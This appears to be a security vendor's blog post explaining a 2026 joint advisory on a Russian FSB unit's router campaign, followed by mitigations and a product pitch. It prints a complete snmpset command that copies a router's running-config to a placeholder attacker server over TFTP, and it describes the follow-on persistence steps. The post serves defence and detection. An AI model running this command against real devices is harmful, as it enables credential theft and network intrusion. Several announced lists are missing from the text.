FSB Center 16, also tracked as Static Tundra, is a Russian FSB signals-intelligence unit that compromises poorly configured routers, mainly through weak SNMP and Cisco Smart Install, to spy on critical infrastructure.
On July 13, 2026, the NSA, CISA, FBI, DC3 and partner agencies from 12 countries published joint Cybersecurity Advisory AA26-194A, "Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting," attributing a decade-plus campaign against poorly configured routers to Russian FSB Center 16 (tracked as Berserk Bear, Energetic Bear, Crouching Yeti, Dragonfly, Ghost Blizzard and Static Tundra).
The actors' primary technique is not a zero-day. They scan the internet for SNMP agents accepting default/weak community strings, then issue SNMP Set-Requests abusing the Cisco CISCO-CONFIG-COPY-MIB to copy device configs to attacker infrastructure via TFTP. They occasionally exploit CVE-2018-0171 (Cisco Smart Install, CVSS 9.8) and the end-of-life-only CVE-2008-4128.
Defenders should disable Cisco Smart Install, move to SNMPv3 authPriv, kill SNMPv1/v2c, use Cisco Type 8 password hashing, allow-list MIB OIDs, and block TFTP/SMI/SNMP at the edge, then validate those controls actually work with Picus Breach and Attack Simulation.
FSB Center 16 is the signals-intelligence arm of Russia's Federal Security Service, and it is the actor behind this decade-plus campaign against routers and other network devices. Security vendors track the same activity under names including Static Tundra, Berserk Bear, Energetic Bear, Crouching Yeti, Dragonfly, and Ghost Blizzard.
It is an FSB espionage unit, distinct from Russia's GRU groups such as Sandworm and APT28/Fancy Bear, which focus on disruption and influence operations. That distinction matters when you read reporting that lumps all "Russian" activity together.
These vendor names map to overlapping but not identical activity clusters, so they are not exact synonyms:
The campaign's core technique is elegant and low-tech.
Cisco routers can be managed over SNMP, a protocol gated by a shared password called a "community string." If that string is set to read-write, whoever holds it can change device settings, not just read them. That is the whole opening the attacker needs: no exploit, no malware.
Cisco devices include a legitimate function that copies their own configuration to a remote server, exposed through the CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96). It is normally used for scheduled backups. SNMP triggers it by writing a new row into the copy table (ccCopyTable), one SetRequest at a time, where each column of the row sets one parameter of the transfer.
A single request fills in that row:
In practice that is a single command from any host that knows the read-write string, for example:
|
snmpset -v2c -c <rw-string> <router-ip> \ 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1 \ # protocol = TFTP 1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4 \ # source = running-config 1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1 \ # dest = networkFile 1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a <attacker-ip> \ # destination server 1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "config.bkp" \ # filename 1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 4 # rowStatus = createAndGo |
The router then mails its own config out the door, as if someone pressed its "back up my settings" button and pointed it at the wrong server. The .111 at the end of each OID is just an arbitrary row index the attacker picks; the second-to-last number is the column, which is why the two OIDs below are the ones worth watching.
That config is the prize: it holds local credentials and the SNMP community strings themselves, which the attacker reuses to move deeper. Researchers observed follow-on activity once inside: creating local accounts and enabling Telnet for re-entry, weakening TACACS+ logging, and building GRE tunnels to reroute traffic of interest.
This abuse leaves a clear fingerprint. It rides on two object identifiers (OIDs), the numeric addresses SNMP uses for each setting:
An inbound SNMP write touching either OID is a strong signal of this exact attack, which is why the mitigations below recommend alerting on it.
SNMPv1 and v2c authenticate with plaintext community strings sent over UDP, so anyone sniffing traffic can recover them, enabling adversary-in-the-middle and replay attacks.
SNMPv3 replaces plaintext community strings with per-user authentication and encryption. Its "authPriv" level enables both authentication (integrity and identity) and privacy (payload encryption). Per the NSA's companion CSI, SNMPv3 alone is not sufficient: it must be paired with MIB allow-listing (SNMP views) so that even leaked credentials cannot read or write OIDs outside a defined set.
A vulnerability in the Smart Install feature of Cisco IOS and IOS XE. An unauthenticated remote attacker sends a crafted Smart Install message to TCP port 4786, causing a buffer overflow (improper packet-data validation) that can trigger a device reload (DoS), an indefinite watchdog-crash loop, or arbitrary code execution.
It remains relevant because Smart Install was enabled by default on many switches, and end-of-life devices can't be patched.
Talos confirmed the same CVE was leveraged by Salt Typhoon in February 2025
Multiple cross-site request forgery flaws in the HTTP Administration component of Cisco IOS 12.4 on the 871 Integrated Services Router, allowing a remote attacker to trick an authenticated admin into executing arbitrary commands. The advisory footnotes that this CVE only affects end-of-life Cisco devices.
Notably, CISA added CVE-2008-4128 to its KEV catalog on July 13, 2026: the same day as the advisory.
When FSB Center 16 steals a router config, the passwords inside it are stored as hashes, not plaintext, so how strong that hash is decides whether a stolen config hands the attacker working credentials or a useless string. Weak types like 0, 4 and 7 can be reversed in seconds, turning one stolen config into deeper network access, which is why the advisory tells defenders to store credentials with type 8 and avoid types 0, 4 and 7.
Here is how Cisco's hashing types compare:
|
Type |
Algorithm |
Security |
Verdict |
|
0 |
Plaintext |
None |
Never use |
|
4 |
Single-iteration SHA-256, no salt (broken implementation) |
Weak; deprecated after IOS 15.3(3)M3 |
Never use |
|
5 |
Salted MD5 (1,000 iterations) |
Crackable with GPUs |
Only if 8/9 unavailable |
|
7 |
Vigenère cipher (static embedded key) |
Trivially reversible (cracked 1995) |
Never use, treat as plaintext |
|
8 |
PBKDF2-SHA-256, 80-bit salt, 20,000 iterations |
Strong |
Advisory recommendation |
|
9 |
scrypt (memory-hard), 80-bit salt, 16,384 iterations |
Strongest; GPU/ASIC-resistant |
Best where supported |
Type 7 is especially dangerous: it uses a static key embedded in the OS that has been public for decades, so a config with a type 7 secret is portable to any attacker.
The advisory's ATT&CK mapping explicitly cites collecting configs with "weak Cisco Type 7 passwords and Type 0" (T1003). Researchers also recommend type 6 for TACACS+ keys.
FSB Center 16 has been targeting critical infrastructure for over a decade, evolving from ICS/SCADA supply-chain campaigns and custom router implants to the SNMP and Smart Install router attacks described in AA26-194A.
Key milestones:
Disable Cisco Smart Install on every device (no vstack).
Disable SNMPv1 and v2c. If they are truly unavoidable, change every default community string and set it read-only, never read-write.
Move to SNMPv3 at authPriv (authentication plus encryption). Fall back to authNoPriv only on legacy devices, and plan to upgrade those.
Apply least privilege to SNMPv3: use separate passwords for authentication and encryption, and split read access (polling and traps) from write access.
Allow-list OIDs with snmp-server view, so anything outside the defined set is denied by default. Alert on inbound SNMP Set-Requests that touch the config-copy OIDs shown earlier.
Harden local credentials: strong, unique passwords stored with Cisco Type 8 hashing (avoid Type 0, 4, and 7). Monitor for off-convention account names and alert on local-account logins.
Restrict management access with ACLs from designated hosts, ideally on an out-of-band network. If it must share the production network, encrypt it.
Block at the edge firewall (unless mission-critical): UDP 69 (TFTP), TCP 4786 (Smart Install), UDP 161/162 (SNMP), TCP/UDP 10161/10162 (SNMPv3).
Patch and retire: keep firmware current, replace end-of-life devices, and use attack surface management to find weak internet-facing systems.
The mitigations above are the what. This is the order to do them in.
We strongly suggest simulating the tactics used by FSB Center 16 to test the effectiveness of your security controls against state-sponsored attacks on network infrastructure using the Picus Autonomous Exposure Validation Platform. You can safely replicate this group's full attack chain, from SNMP config exfiltration and Cisco Smart Install abuse to config-file credential theft, and confirm your firewall rules, IDS signatures, and SIEM detections actually fire, within minutes with a 14-day free trial of the Picus Platform.
Picus Threat Library includes the following threats for FSB Center 16 / Static Tundra campaigns:
|
Threat ID |
Threat Name |
Attack Module |
|
43352 |
Dragonfly Threat Group Campaign Malware Download Threat |
Network Infiltration |
|
43938 |
Dragonfly Threat Group Campaign Malware Email Threat |
E-mail Infiltration |
Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Security Validation Platform.
CISA, Cybersecurity Advisory AA26-194A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-194a
NSA/CISA/FBI, "Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting" (PDF): https://media.defense.gov/2026/Jul/09/2003959498/-1/-1/1/CSA_IMPROVE_ROUTER_HYGIENE.PDF
NSA, "Reducing the Risk of SNMP Abuse" (CSI): https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF
FBI IC3, PSA I-082025-PSA: https://www.ic3.gov/PSA/2025/PSA250820
Cisco Talos, "Static Tundra": https://blog.talosintelligence.com/static-tundra/
Cisco, Security Advisory cisco-sa-20180328-smi2 (CVE-2018-0171): https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20180328-smi2.html